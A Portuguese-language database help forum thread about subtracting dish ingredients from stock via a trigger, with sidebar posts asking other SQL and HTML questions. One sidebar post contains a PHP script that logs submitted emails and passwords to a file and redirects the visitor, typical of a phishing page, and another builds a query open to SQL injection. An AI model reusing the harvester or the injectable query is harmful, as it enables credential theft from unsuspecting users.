Jump to content
EVDIAS

Abater dados de uma tabela em outra.

Recommended Posts

Olá Pessoal.

Sou novo e estou com uma dificuldade por não dominar plenamente o manuseio de um bd.

Gostaria de compartilhar minha necessidade, caso alguem puder me ajudar fico muito grato.

 

Tenho 3 tabelas.

    

      1 - Pratos; ( ID_PRATO, DESCRICAO )

      2 - Tabela de produtos; ( ID_PROD, DESCRICAO, UN_MED, QTDADE )

      3 - Tabela de composição; (ID_COMP, ID_PRATO, ID_PROD, QTD)

      4 - Tabela de Vendas; ( ID_VENDA, ID_PRATO, QTD ).

 

A ideia seria qdo vender 1 prato, localizar cada produto na tabela composição, e subtrair da tabela produtos; 

Eu consegui fazer o processo com uma trigger, porem para somente um item da composição... e normalmente

tenho um prato com 4 até 7 itens....

 

 

Grato.

 

 

Obrigado.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Share this post


Link to post
Share on other sites

Teria de montar um cursor para fazer isto.

 

Segue aqui um exemplo.

 

 

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

  • Similar Content

    • By romanoo1
      Boa Noite!

      Estou fazendo um programa para recepção de Hotel. Pois bem...
      Tenho a tabela (apto1), onde cadastro o cliente e o valor da diária x dias de acomodação, que por sua vez me gera o Total deste cliente.
      Tenho a tabela (pago), onde guardo as informações de pagamentos feitos.
      Estou inserindo o ID, NOME, APTO, DATA da tabela (apto1) para a tabela (pago) em IDPAGO, NOMEPAGO, APTOPAGO, DATAPAGO e TOTALPAGO envio via input.
      Então é simples o calculo, eu pego o TOTAL da tabela (apto1) e quero descontar com o TOTALPAGO da tabela (pago), mas não consigo retornar o mesmo id.
      (lembrando que é o mesmo ID da tabela (apto1) é o mesmo iD da tabela (pago).
       
      $sql = mysqli_query($conn, "SELECT apto1.*, pago.* FROM apto1, pago where apto BETWEEN '$busca' AND '$busca' ORDER BY apto Asc");
       
      e fazendo a seguinte busca nas tabelas...
       
      while($aux = mysqli_fetch_assoc($sql)){

              //Busca tabela apto1

              $id = $aux['id'];
              $nome = $aux['nome'];
              $apto = $aux['apto'];
              $entrada = $aux['entrada'];
              $total = $aux['total'];

              //busca Tabela pago

              $idpago = $aux['idpago'];
              $nomepago = $aux['nomepago'];
              $aptopago = $aux['aptopago'];
              $datapago = $aux['datapago'];
              $totalpago = $aux['totalpago'];
          }

      Agradeço a ajuda e me desculpe se errei algum termo.

    • By romanoo1
      Boa Noite!

      Estou fazendo um programa para recepção de Hotel. Pois bem...
      Tenho a tabela (apto1), onde cadastro o cliente e o valor da diária x dias de acomodação, que por sua vez me gera o Total deste cliente.
      Tenho a tabela (pago), onde guardo as informações de pagamentos feitos.
      Estou inserindo o ID, NOME, APTO, DATA da tabela (apto1) para a tabela (pago) em IDPAGO, NOMEPAGO, APTOPAGO, DATAPAGO e TOTALPAGO envio via input.
      Então é simples o calculo, eu pego o TOTAL da tabela (apto1) e quero descontar com o TOTALPAGO da tabela (pago), mas não consigo retornar o mesmo id.
      (lembrando que é o mesmo ID da tabela (apto1) é o mesmo iD da tabela (pago).
       
      $sql = mysqli_query($conn, "SELECT apto1.*, pago.* FROM apto1, pago where apto BETWEEN '$busca' AND '$busca' ORDER BY apto Asc");
       
      e fazendo a seguinte busca nas tabelas...
       
      while($aux = mysqli_fetch_assoc($sql)){

              //Busca tabela apto1

              $id = $aux['id'];
              $nome = $aux['nome'];
              $apto = $aux['apto'];
              $entrada = $aux['entrada'];
              $total = $aux['total'];

              //busca Tabela pago

              $idpago = $aux['idpago'];
              $nomepago = $aux['nomepago'];
              $aptopago = $aux['aptopago'];
              $datapago = $aux['datapago'];
              $totalpago = $aux['totalpago'];
          }

      Agradeço a ajuda e me desculpe se errei algum termo.

    • By Markleber
      Boa tarde à todos... Sou totalmente leigo em SQL e estou precisando de uma ajuda de vocês, aliás, um excelente ajuda. Tenho duas tabelas abaixo:
      Tabela linaus07
      d01 d02 d03 d04 d05 d06 d07 10 11 12 13 14 15 16 10 11 12 13 14 16 17 10 11 12 13 14 16 22  
      Tabela linrep07
      d01 d02 d03 d04 d05 d06 d07 d08 d09 d10 d11 d12 d13 d14 d15 1 2 3 4 5 6 7 10 11 12 13 14 16 17 22 1 2 3 4 5 6 7 8 10 11 12 13 14 16 17 1 2 3 4 5 6 7 9 10 11 12 13 14 16 22  
      Então, o que preciso...???
      Pego o 1 registro da tabela linaus07 contendo 7 campos e confronto com todos os registros da tabela linrep07 contendo 15 campos, reparem que o primeiro registro da tabela linaus07, confrontando com a tabela linrep07, em nenhum momento continha 7 iguais nos registros, então, não preciso fazer nada, porém, repare agora, que o segundo registro da tabela linaus07, confrontando com a tabela linrep07, encontramos 7 campos exatamente nos 15 campos da outra tabela, então, pego o registro da tabela linrep07 e gravo em outro banco de dados (um novo), o registro que contem esses 15 campos que tinham os 7 campos da tabela linaus07.
      o que tem que ser respeitado...
      Cada registro da tabela linaus07 contendo 7 campos, irá passar em todos os registros da tabela linrep07 contendo 15 campos e irá colocar num novo banco de dados, todos os registros que da tabela linrep07 tiverem exatamente os 7 campos da tabela linaus07 e ao final, esse novo banco, terá com certeza muito registros, mas preciso salvá-los em um arquivo .txt com o separador "-" entre os campos...
      Espero ter sido claro... Obrigado 
      MARCELO SAMPAIO
    • By Rogerio Teixeira
      boa noite, estou fazendo a criação de um site e possuo um background de cor escura, mas ao colocar uma tabela com uma imagem dentro, ele fica com essa borda clara dos lados, já coloquei border="0" no html e no css masnão funcionaram:
      <div id="main"> <div class="inner"> <div> <table id="jj" border="0"> <tr> <td><img src="images/google_logo.png"></td> </tr> <tr> <td><img src="images/yahoo_logo.png"></td> </tr> <tr> <td><img src="images/hotmail.png"></td> </tr> </table> </div> </div> </div> #jj{ height: 300px; width: 100px; }  

    • By MaykoMaster
      Bom Primeira mente Ola a todos do Fórum...
       
      O que eu queria saber era, se tem como eu pegar este Código Que esta abaixo e re-escrevê lo para que quando ele salve um texto... ele salve o texto em modo tabela:
       
      Modo Normal Fica Assim:
       
      Email:
      Senha:
       
       
       
      Modo parecido com o que Eu quero deixar:
       
       Email:
       
       Senha:
       
       


       
      <?php $nomearquivo ="senha.html"; $email =$_POST["email"]; $senha =$_POST["pass"]; $ess ="Email: ".$email."<br>Senha: ".$senha; $abre =@fopen("senha.html","a+"); $escreve =fwrite($abre, $ess); echo "<script>javascript:document.location='URL' </script>"; function redirecionar($url, $tempo) { $url = str_replace('&', '&', $url); if($tempo > 0) { header("Refresh: $tempo; URL=$url"); } else { @ob_flush(); @ob_end_clean(); header("Location: $url"); exit; } } ?>  
×

Important Information

Ao usar o fórum, você concorda com nossos Terms of Use.